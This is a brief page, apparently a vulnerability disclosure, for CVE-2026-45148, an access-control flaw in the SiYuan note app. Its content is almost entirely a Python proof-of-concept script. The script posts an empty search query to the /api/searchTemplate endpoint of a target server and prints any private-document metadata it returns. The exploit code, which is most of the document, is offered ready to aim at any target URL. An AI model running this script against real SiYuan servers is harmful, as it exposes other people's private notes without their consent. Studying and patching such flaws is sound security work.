CVE-2026-45148 SiYuan 访问控制漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-45148: Broken Access Control in SiYuan. Attempts to enumerate metadata via searchTemplate endpoint. """ # The vulnerable endpoint usually resides under the API path # Example: /api/searchTemplate with method POST or GET depending on config endpoint = f"{target_url}/api/searchTemplate" headers = { "Content-Type": "application/json" } # Payload simulates a search query in publish mode payload = { "query": "" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the response returns data from private documents, the vulnerability is confirmed if "data" in data and len(data["data"]) > 0: print("[+] Vulnerability confirmed! Metadata leaked:") print(data) return True print("[-] Target not vulnerable or request failed.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost:6806" # Replace with actual target check_vulnerability(target)